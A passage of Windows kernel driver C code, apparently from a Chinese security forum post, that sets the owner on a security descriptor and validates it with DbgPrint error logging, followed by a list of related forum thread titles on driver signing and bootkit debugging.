(PSECURITY_DESCRIPTOR)sd,
&owner,
FALSE
);
if
(!NT_SUCCESS(status))
{
DbgPrint(
"[Createsd]RtlSetOwnerSecurityDescriptor fails,status:0x%x\n"
, status);
break
;
}
status
=
RtlValidSecurityDescriptor((PSECURITY_DESCRIPTOR)sd);
if
(!NT_SUCCESS(status))
{
赞赏
- [分享]基于ndis 的驱动后门分析 8643
- [求助]windows高版本驱动签名问题 13545
- [分享]pe文件签名流程实现 6920
- [讨论]我们的一些个人数据是不是被共享呢 2827
- [讨论]如何调试bios/bootkit 4512